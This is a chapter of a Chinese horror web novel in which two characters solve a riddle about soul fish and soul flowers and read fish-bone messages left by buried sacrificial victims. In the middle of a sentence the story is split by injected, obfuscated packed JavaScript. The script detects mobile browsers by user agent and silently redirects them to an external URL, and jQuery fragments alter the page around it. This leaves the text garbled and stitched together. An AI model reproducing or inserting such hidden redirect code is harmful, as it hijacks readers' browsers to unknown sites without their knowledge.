不是吧,你们家龙女长这缺德样?
安妙莲大为震撼,她好歹听过个词叫“法相庄严”,虽然不是要求神仙也来服美役,但是一般人不爱供奉章鱼。
这种长了好几个鱼尾巴,只有一个头的,他们一般不叫龙女,叫邪神。
不过眼下不是关心居民信仰的时候,安妙莲尊重每一个人的信仰,只要那人的信仰不会想吃了她。
她留神去听那诡异的歌谣。
前面的两句有些突兀,“金银葬,埋贵人,水崩土裂一场空。”
为什么这里的居民还要提一嘴被金银埋葬的贵人最终一场空?总不能是刻意出题,使用对比的修辞手法来烘托气氛。
宴境的文字,绝无虚设。
最后两句她倒是听得真切:“鱼为身,头为魂。”
也就是说,她所需要的“魂”,就在魂鱼的头部。
再结合预语中所言“云龙食尸为生”,也就是“魂食尸为生”。
让魂鱼去吃下“尸”就是破局方法!
而尸,恰好就在预语的第二句“水为镜窥鬼上长尸”中有提及!
安妙莲理清思路,心态前所未有的好。
什么龙女,什么活死人,都一边去吧,反正和任务主线没关系。
先去河边照下“尸”到底是什么样,反正有姜匆算作例,照过之后应该死不了。
就这么一转头,她本是想远离那灯火通明处,谁知有个灯光竟凑到了她旁边来。
姜匆算举着火把,火光下显得他眼下乌青浓郁,他看着狼狈的安妙莲,眼中说不上是什么意味。
“……姜丞相?”安妙莲狐疑道:“你怎么突然到了。”
速度、声音,都不太对。
安妙莲后退几步,不忘四处寻找锋利的石头。
姜匆算却瞬间又恢复成平日里那好好先生的样子:“我知道安姑娘在怀疑什么,还望安姑娘相信姜某身份,若等你能出去这个宴境,自然会明白,鬼怪玄机巧妙,人也有奇门应付。”
安妙莲问:“那我能现在明白吗?”
姜匆算点头道:“只是此事复杂,三言两语并说不清楚,况且,宴境——应该马上要结束了。”
“结束?”安妙莲分得清事情的重要,忙问道:“你知道这次的宴境是怎样定时间的了?”
姜匆算点头:“刚才被人群冲散的时候,我去了龙女那里。”
“她没有攻击你?”安妙莲不可置信,怎么那龙女看见她就和看到仇人似的。
“她那时正在神明台上念咒……念的咒语和这里的歌谣很像,那个咒语很长,我无法与姑娘你一一复述了,只知道祈神结束之后,外来者会在龙女的咒语下被同化,成为这里的永生居民。”
靠……安妙莲心想,永生居民,这词儿可真好听,不过换成活死人就不那么好听了。
姜匆算:“祈神结束,整场宴境就会结束,而仍旧留在这里的人,也将会永远滞留在此。”
安妙莲:“莫慌,祈神不是才刚开始?我已经大概知道出去的方法了。”
姜匆算顿了顿:“根据那个龙女的话,整场宴会只有三炷香时间。”
——!
安妙莲:“……那现在?”
姜匆算道:“已经过去半柱香。”
“时间紧迫,你先跟我来。”安妙莲直接把魂鱼丢给他,又说了遍方才的发现,两人飞快跑到河边。
远处的祈神舞愈发热烈,痴迷与崇拜的声音响彻天宇,无数的鱼灯一上一下顺着声音的节奏地在天空中移动,河天本就一色,真鱼和假鱼更是难以看出分别。
安妙莲将魂鱼丢进水中自己的影子旁,她还是留了个心眼,没把魂鱼的脑袋整个切下来。
毕竟在这里,魂鱼几乎就相当于人的命。
然而越是等得心急,眼前就越是一点动静都没有。
更诡异的是,安妙莲看见自己影子,她的身后并没有那黑乎乎的东西。
可是除了她之外,几乎所有人都看到了自己背后有那黑乎乎的东西。
“姜丞相,你当时在水里看见的,那个趴在你身上的东西,的确是你自己吗?”安妙莲问。
“不能保证,那东西漆黑一片,难以分别。”姜匆算道:“安姑娘,怎么了?”
安妙莲将他拉过来一看。
果然不出安妙莲所料,在这片河域里,虽然水是同样的漆黑,但是也只能照出姜匆算站在那里的人影。
只有姜匆算一个人,并没有从背上长出来的“鬼”。
他一向不动如山的脸出现几分诧异:“安姑娘……这是怎么回事?”
安妙莲道:“我们三次照镜子的水域有些不同。”
姜匆算扫视四周,一下明白问题所在:“这片水域没有魂花。”
那个影子,是受到魂花的影响才会出现在水里!
安妙莲点头:“我们都被预语带偏了。‘水为镜窥鬼上长尸’,我们下意识以为鬼是我们自己,实则,‘长’这个词才最值得注意,在这里,只有植物在不断生长。”
“最后再代入正确答案,云龙食尸为生,云龙是魂鱼,尸是魂花,要让鱼吃花。”
姜匆算似乎还有些踌躇:“我记得姑娘在宴境一开始时说过,这个‘水为镜’才大有玄机。”
是啊,但是安妙莲也没想到,一个相当于百年前的恐怖游戏,居然会给假线索!而且还是那种类似于引导性的假线索。
安妙莲道:“我觉得这更像是误导,一般而言,只有人才会照镜子,这个预语似乎故意在让我们误解,预语中的‘鬼’指的是我们自己。”
说来也奇怪,如果说预语的出现是为了帮助他们脱离宴境,为什么还要设置假线索,不用大白话总结成规则?如果说预语的出现是为了害他们,可没有预语,那整个宴境才真是死路一条。
来不及思考太多,事不宜迟,两人先忙着收拾了魂鱼,向魂花那边赶过去,可惜路上要经过祈神舞的队伍。
仍旧是那个歌谣,在不断重复。
“金银葬,埋贵人。”
“水崩土裂一场空。”
“鱼为身,头为魂。”
“龙女赐福享永生。”
他们一边手舞足蹈,一边唱着歌谣,仿佛这样就可以永登极乐。
安妙莲看了一眼,留心到他们的动作与寻常欢庆时的拍掌、鼓乐都不同。
那像是一个人临死前的垂死挣扎。
“这些是殉葬而死的人,据说这里曾经有场大规模的殉葬,一整个村的人都被拉来陪葬,不过偏偏就在殉葬那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473139|185579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天,不知是挖穿了山脉,还是如何,只知道似乎山崩地裂,没有一个人活着出来。”
两个人一边走,姜匆算一边和安妙莲说着龙女的咒语,在晦涩难懂的咒语中,他听出来了一切的起因。
当时那龙女端坐在神明台上,神明台由无数鱼骨围成,他心觉有异,便四处走了一番,找到几块刻了字的鱼骨。
字体稚嫩,显然刻字的还是个孩童。
[爹。娘。]
[我捡到了好多金银珠宝,以后咱家可以过好日子了。]
[好多人在打架,我偷偷捡到的。]
[可是好黑。黑。黑。]
[洞塌了,天塌了,一切都没了。]
每刻完一个字,就是一个巨大的刨坑,像是人用尽了最后一分力气。
[我们还活着吧?]
[我们还活着吧。]
即便是刻字,也可以感受到,刻字人的心情逐渐从疑惑转为不自信。
可以想象得到飞来横祸,突然成为殉葬者,睁开眼后看陵墓里的黑夜,每一刻都那么静。
只有偶尔几次,刻字的语气变得欢快起来,句子也变得长而有希望,那时候的鱼骨上出现了不同的刻字痕迹。
[我们一起活着出去吧。]
[我们的年华大好,你是爹娘最爱的小女儿,而我的绣活可以当村里最好的绣娘。]
[我们出去后用这里的金银过上好日子,朝埋掉我们的人扔泥巴,从此不再看日落,只看日出。]
刻下这些话的是两个女孩子,显然那个一开始刻字的小姑娘认识了新朋友,安妙莲几乎可以想象得到她们聊天时畅想的样子,追问道:“然后呢?”
“我把最后这一块鱼骨头带出来了。”姜匆算道。
那几乎不可以被称之为是鱼骨头,安妙莲的话停住了,她忘了一件事。
怎么可能会有鱼骨头能刻得下那么多话呢?
那块骨头薄薄的一层,很像人的颅骨,但又不是,也就是说,在刻字的时候,异变已经发生了。
安妙莲沉默了一会,她继续看下去:
[只有会吃东西,会感觉到痛的才是人。]
[求求你,把我吃掉吧。]
[姑娘,我辜负了你的美意,我还活着,我不想活着了。]
[没有人吃鱼不吐骨头,除了我那灾荒后连小鱼骨头都吞咽的爹娘]
[我的哥哥早在兵荒马乱中死去,无人赡养的爹娘在漂泊中音讯不知。而你的双手在潮水的浸泡中胀大,早就拿不了绣花针,也做不了最好的绣娘。]
[我们甚至连埋掉我们的是谁也不知道。]
[世界永远有日升日落,我只是好惋惜,最后再看这人间一眼,好黑。好黑。好黑。]
[你要出去啊!]
那些殉葬者或许因为人为或者自然的灾害,并没有真正地被泥土掩埋,但他们终日生活在黑暗里,不分昼夜,连食物和水都没有,死亡也是早晚的事。
但是,偏偏祂们不认为自己死了,生命最原始的求生欲在作祟,祂们要活着。
吃人或许是主动,或许是被动,但是的确发生了。
这种是比较科学的设想,安妙莲突然道:“丞相,有没有可能,这座小城是殉葬人的意识?”